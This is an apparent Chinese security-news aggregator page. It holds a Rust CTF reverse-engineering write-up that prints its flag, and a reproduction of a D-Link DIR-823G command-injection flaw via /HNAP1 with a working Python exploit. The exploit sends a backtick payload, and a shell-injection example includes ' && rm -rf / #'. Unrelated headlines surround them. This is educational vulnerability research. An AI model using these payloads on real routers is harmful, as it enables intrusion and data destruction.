Aggregator
上海市普陀区政协调研360 政企协同共筑数字安全产业新高地
360与广旅集团达成合作 共建两大中心!
Не вирусы, а аргументы: как команды стали новым методом незаметной атаки
ApoorvCTF Rust语言逆向实战
上周参加了国外的比赛,名称叫:ApoorvCTF
看一下老外的比赛跟我们有什么不同,然后我根据国内比赛对比发现,他们考点还是很有意思的,反正都是逆向,哈哈哈
Rusty Vault题目描述:
In the heart of an abandoned shrine, there's an old, rusted vault saidto guard an unspeakable secret. Many have tried to unlock it, but thedoor's demands are strange and no key seems to fit.
进入main函数,开始分析
这个命名方式,大概率是Rust语言
对于rust语言逆向,一般采用动态调试分析的方法
主要还是看汇编,因为F5根本看不出来啥东西。。。
从if比较处,可以看到成功和失败两个结果
那么这个比较绝对很关键
进入后发现,啥也没啊?
坏了,得看汇编,为代码估计又出问题了
发现了check2,果然为代码啥也看不到
对比check1-2
发现是在检测输入的字符串的字符类型,还是冲突的,不管了继续分析
下面可以看到失败
往下滑动可以看到成功
什么意思?
我猜测这题是改条件,然后动态输出flag?还有这好事
后面都是正常输出flag了
那么我们现在去解密的地方回溯,估计我要改一些判断,改变流程,让程序正常走到解密的地方,然后输出flag
教大家一个回溯方法
对标签疯狂X键,交叉引用定位回溯
最终定位到密文,发现是aes_128_cbc模式
需要:key+IV+密文=明文
这是一种思路,大家可以尝试
本文修改流程,让他自动输出明文
现在的思路就是:
x键回溯定位关键标签,修改关键判断
让程序自动走向解密
nop掉check1 和 check2
让他们走向自动解密的方向
最终运行程序得到flag,静态patch流程,绕过check1-chekc2
apoorvctf{P4tch_1t_L1k3_1t's_HOt}这在我们国内比赛还是很少见到的,国内大概率要写脚本解密,或许国内认为加密才是CTF的重点。国外侧重逆向本身,如果可以patch修改流程得到flag,为什么要去写解密脚本呢?
锻炼了我们通过汇编分析程序流程的能力,而不是为代码一键分析。
警惕!Android 恶意软件攻击活动利用 .NET MAUI 逃避检测
路由器安全研究:D-Link DIR-823G v1.02 B05 复现与利用思路
D-Link DIR-823G v1.02 B05存在命令注入漏洞,攻击者可以通过POST的方式往 /HNAP1发送精心构造的请求,执行任意的操作系统命令。
漏洞分析binwalk提取固件,成功获取到固件。
现在我们已经进入到应用里了,那么我们在进行分析固件的时候,应该怎么去分析这个情况?首先,我们去分析别人的漏洞,别人是会告诉哪里会出现问题。但是我们现在假设我们是分析一个未知固件,我们就得先知道这个固件有哪些应用,启动了哪些服务,最清晰和简便的方式就是去看我们etc文件下面,里面有个叫init.d的目录,里面是关于启动项的内容。
我们首先来看rcS下面的内容 vim rcS
首先是设置ip,然后挂载了两个文件系统分别是proc,这是与进程相关的文件系统,包括当前进程启动存放在哪个地址。
还有ramfs文件系统,根据以前的笔记,可知ramfs文件系统跟RAM相关。
然后下面就是判断是否还有挂载别的文件系统。
然后mkdir就是创建各种各样的文件夹,都有对应的功能,比如说创建了pptp文件夹,针对拨号上网的功能,然后还有smbd服务,可以看到创建了一个usb的文件夹,说明该固件有可以跟usb也就是U盘相关的操作,接下来都是一些配置信息。
继续往下翻
可以看到该固件启动了web server的web服务,也就是httpd的内容,这里启动的是goahead,通过这个名字,我们可以确定web服务就是goahead,如果想要分析web服务的话,就直接分析goahead就可以。
我们回到squashfs-root目录下,搜索goahead的一些简单情况
grep -ir "goahead" .最下面是两个启动项的内容,可以忽略,然后第一行是bin的可执行应用,这个其实就是我们最后分析的内容。
那如何分析呢?它是一个HNAP1请求,那就可以去检索我们的HANP1请求
grep -ir "HNAP1" .可以看到它检索到一些js代码,js代码对我们来说一般,(比较我们是找二进制相关的漏洞)
但是,我们可以发现它匹配了一个二进制程序,也就是goahead。
这里我们先科普一下goahead的一些情况:
GoAhead ,它是一个源码,免费、功能强大、可以在多个平台运行的嵌入式WebServer。
goahead的websUrlHandlerDefine函数允许用户自定义不同url的处理函数。
它在进行编写与它相关的请求,是通过websUrlHandlerDefine来确定的。
websUrlHandlerDefine(T("/HNAP1"),NULL,0, websHNAPHandler,0);websUrlHandlerDefine(T("/goform"),NULL,0, websFormHandler,0);
websUrlHandlerDefine(T("/cgi.bin"),NULL,0, websCgiHandler,0);
使用ghidra进行逆向分析,goahead二进制文件在squashfs-root目录下的bin目录下
那进入到goahead反编译界面该如何分析呢?一种是找到main函数去进行分析,比较耗时
一种是通过关键字来搜索,反推调用情况,来推测每个功能的解析情况 ctrl+shift+E
匹配成功,停在指定区域
但是它所对应的反编译代码还是很多的,所以我们可以通过反编译出来的函数名,进行查看它的调用关系。
一路往下翻,终于找到我们所要的东西
而且我们看到,这个函数继续往上调的话就是main函数了,所以其实一开始也是可以从main函数来分析的(0.0)
所以现在我们可以重点来分析这个函数
前面还是做一些判断,然后请求还有不止HNAP1,对应的都是一个函数。
同一个函数做的事情,类似于websUrlHandlerDefine这个函数,那HANP1对应的函数是
FUN_0042383c,那就双击进去看看
这里就是漏洞点,这里执行了memset和snprintf,一般来说这里应该是不存在漏洞点,但是下面一条语句是system,也就是把格式化化的字符串直接就拿到了system函数作为参数传递进去,而snprintf这里的参数有个echo,有个单引号问题。
比如说正常代码
#!/bin/bashread -p "Enter your name: " name
echo 'Hello, '$name'!'
攻击步骤:
正常输入:用户输入 Alice,输出:
Hello, Alice!恶意输入:用户输入 '$(id)',此时脚本实际执行的命令变为:
echo 'Hello, ''$(id)'!'输出:
Hello, $(id)!单引号内的 $(id) 不会被执行,暂时安全。
更危险的输入:用户输入 ' && rm -rf / #,命令变为:
echo 'Hello, '' && rm -rf / #'!此时,第一个单引号被用户输入的 ' 闭合。&& rm -rf / 成为独立命令,在 echo 之后执行。# 注释掉后续的 '!,避免语法错误。
那么会导致rm -rf / 会被执行,删除系统文件!
所以,如果我们构造一些恶意的代码写入到snprintf中,再传递到system函数,就会造成命令注入漏洞。
但是我们要进到漏洞点的话,还需要满足函数上面的一些要求。
所以我们得符合上面函数的一些限制才能进入到漏洞点来,这里先取了PTR_s_SetMultipleActions_00588d80的首地址,赋值给DAT_0058a6c4,然后DAT_0058a6c4自身判断和自加2来进行循环判断,用strstr函数查找DAT_0058a6c4在param_+0x524中出现的位置,并赋值给pcVar1,如果pcVar1的值不为0的话,就会进入到我们的漏洞点来。
DAT_0058a6c4与PTR_s_SetMultipleActions_00588d80相关,双击进去看看
可以看到里面都是它对应的一些方法,比如说SetMultipleActions之类的。
分析到这里,基本上是明朗了,接下来就要进行固件模拟操作,使用firmadyne模拟固件启动。
sudo ./DIR823G_V1.0.2B05_20181207.sh然后firmadyne默认的密码就是firmadyne
得等一段时间,然后192.168.0.1
但是这个一直搞不定,模拟不起来,也不知道是什么原因,排查不出。
然后换成了firmware analysis plus (fap)这个框架,就模拟起来了
等一段时间后,回车,就可以模拟起来了,输入192.168.0.1
进入向导,随便输入点东西
密码8位,输入12345678
然后就开始配置一些内容,同时可以注意到左侧已经把一些数据写入到关键的文件夹中
配置完毕,登录,成功进入路由器
exp编写 #!/usr/bin/env python#-*- coding:utf-8 -*-
import requests
ip='192.168.0.1'
command="'`echo aaaaaaaaa > /web_mtn/test.txt`'"
length=len(command)
headers=requests.utils.default_headers()
headers["Content-Length"]=str(length)
headers["User-Agent"]="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36"
headers["SOAPAction"]='"http://purenetworks.com/HNAP1/GetClientInfo"'
headers["Content-Type"]="text/xml; charset=UTF-8"
headers["Accept"]="*/*"
headers["Accept-Encoding"]="gzip, deflate"
headers["Accept-Language"]="zh-CN,zh;q=0.9,en;q=0.8"
payload=command
r=requests.post('http://'+ip+'/HNAP1/', headers=headers, data=payload)
因为是http请求,所以我们使用requests,然后设置ip,设置命令,构造报头,最后post请求将HNAP1,headers和payload都传过去。
复现完毕,ctrl+a 然后x结束固件模拟。
ENISA Probes Space Threat Landscape in New Report
新型网络钓鱼活动攻击 Mac 用户以窃取用户登录凭据
谷歌紧急修复已遭利用的0day
博通:注意 Vmware Windows Tools 中的认证绕过漏洞
谷歌紧急修复已遭利用的0day
博通:注意 Vmware Windows Tools 中的认证绕过漏洞
«Котлы» кипят от гнева: Abracadabra Finance теряет 12,9 миллионов долларов
New Chrome Installer Fails on Windows 10 & 11 With “This app can’t run on your PC” Error
A recent snag in Google’s Chrome distribution process has left Windows users unable to install the browser on their Intel and AMD systems. The issue, first reported by Windows Latest on March 25, arises when users attempt to run the ChromeSetup.exe file, only to be met with the error message: “This app can’t run on your PC: […]
The post New Chrome Installer Fails on Windows 10 & 11 With “This app can’t run on your PC” Error appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.